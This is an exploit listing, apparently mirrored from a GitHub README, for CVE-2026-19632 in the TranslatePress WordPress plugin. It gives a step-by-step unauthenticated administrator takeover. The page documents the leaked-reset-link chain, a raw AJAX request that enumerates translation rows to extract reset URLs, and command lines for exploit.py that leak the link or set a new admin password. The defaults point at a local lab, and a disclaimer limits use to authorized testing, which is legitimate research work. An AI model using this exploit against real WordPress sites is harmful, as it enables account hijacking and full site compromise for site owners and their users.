Sploitus

Exploit for CVE-2026-19632

githubexploit Β· 2026-08-26

Exploit Code

README133 lines
## https://sploitus.com/exploit?id=B18D8823-F19B-508A-9DD8-FE043BB881CA
# TranslatePress Password Reset Link Disclosure to Administrator Account Takeover

**CVE:** CVE-2026-19632 | **CVSS:** 9.8 (Critical)


Unauthenticated account-takeover via TranslatePress plugin for wordpress.
Time from CVE publication to working Day-One PoC: **5 hours, 9 minutes, 40 seconds**

Up to and including 3.3.1; the issue was patched in 3.3.2.

## TLDR

TranslatePress can translate outgoing WordPress emails and save their translated strings in its database.
TranslatePress also saves password-reset emails with the full reset link including the secret key directly into the translation table.

An unauthenticated attacker can then query those rows through a public TranslatePress AJAX action:

```
Trigger password reset
        -> reset email is translated
        -> reset URL is saved in the secondary-language dictionary
        -> public AJAX endpoint returns the row
        -> use URL to set a new administrator password
```

## Demo

https://github.com/user-attachments/assets/83469be4-ab85-4380-aedc-4d0406ab5a6b

## The vulnerability

The exploit chain requires:

- TranslatePress 3.3.1 or earlier.
- Automatic string saving enabled.
- A published secondary language.
- The target user's WordPress profile locale set to that secondary language.
- Knowledge of the target username or email address.

When WordPress sends the reset email, TranslatePress switches to the recipient's preferred language and passes the email through its translation pipeline. The vulnerable version saves strings encountered during this process, including the reset URL.

TranslatePress also registers `trp_get_translations_regular` for unauthenticated visitors. Its `nonce` is exposed on a public translated page, and the request accepts attacker selected dictionary row IDs. Enumerating those IDs reveals the stored reset email and its usable reset link.

## Exploit flow

| Step | Action |
|---:|---|
| 1 | Load `/he/cve-lab-seed/` and extract the public TranslatePress AJAX nonce. |
| 2 | Submit WordPress's lost-password form for `labadmin`. |
| 3 | TranslatePress processes the reset email using the administrator's Hebrew locale. |
| 4 | Enumerate dictionary rows through `trp_get_translations_regular`. |
| 5 | Extract the newest matching `wp-login.php?action=rp` reset URL. |
| 6 | Open the URL and submit a new password. |
| 7 | Perform a fresh login and require both a WordPress login cookie and `/wp-admin/` access. |

The relevant unauthenticated request has this shape:

```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1:19632
Content-Type: application/x-www-form-urlencoded

action=trp_get_translations_regular&security=PUBLIC_NONCE&language=he_IL&string_ids=[1,2,3]
```

The nonce and useful row ID are dynamic, so `exploit.py` discovers them rather than hardcoding them.

## Usage

Minimal usage:

```bash
python3 .\exploit.py --new-password 'Your-New-Password!'
```



```bash
python3 .\exploit.py \
  --url http://127.0.0.1:19632 \
  --username labadmin \
  --language he_IL \
  --public-path /he/cve-lab-seed/ \
  --start-id 1 \
  --max-id 500 \
  --batch-size 100 \
  --timeout 15 \
  --settle-seconds 1 \
  --stop-after takeover \
  --new-password 'Your-New-Password!'
```

Leak the reset URL without changing the password:

```powershell
python .\exploit.py --stop-after leak
```

Trigger only the password-reset email:

```powershell
python .\exploit.py --stop-after reset
```

### Parameters

| Parameter | Default | Purpose |
|---|---|---|
| `--url` | `http://127.0.0.1:19632` | WordPress base URL. |
| `--username` | `labadmin` | Account for which the reset is requested. |
| `--language` | `he_IL` | Secondary-language dictionary queried by the PoC. |
| `--public-path` | `/he/cve-lab-seed/` | Public translated page used to obtain the AJAX nonce. |
| `--new-password` | None | New password; required when `--stop-after takeover` is used. |
| `--start-id` | `1` | First dictionary row ID to request. |
| `--max-id` | `500` | Last dictionary row ID to request. Increase it if no reset URL is found. |
| `--batch-size` | `100` | Dictionary IDs requested per AJAX call. Valid range: 1-500. |
| `--timeout` | `15` | HTTP timeout in seconds. |
| `--settle-seconds` | `1` | Delay after requesting the reset email. |
| `--stop-after` | `takeover` | Stop after `reset`, `leak`, or the full `takeover`. |


## Disclaimer


This project is intended solely for authorized security research, education, and testing in isolated laboratory environments.

This vulnerability was originally discovered and disclosed by `momopon1415`.
Do not use this software against systems, networks, or data without explicit authorization from the owner. You are solely responsible for complying with all applicable laws and for any consequences resulting from your use of this project.

The author, YonLiud, provides this project β€œas is,” without warranties of any kind, and accepts no responsibility for damage, data loss, service disruption, unauthorized access, or other misuse caused by this software or derivative works.

By using this project, you acknowledge and accept these conditions.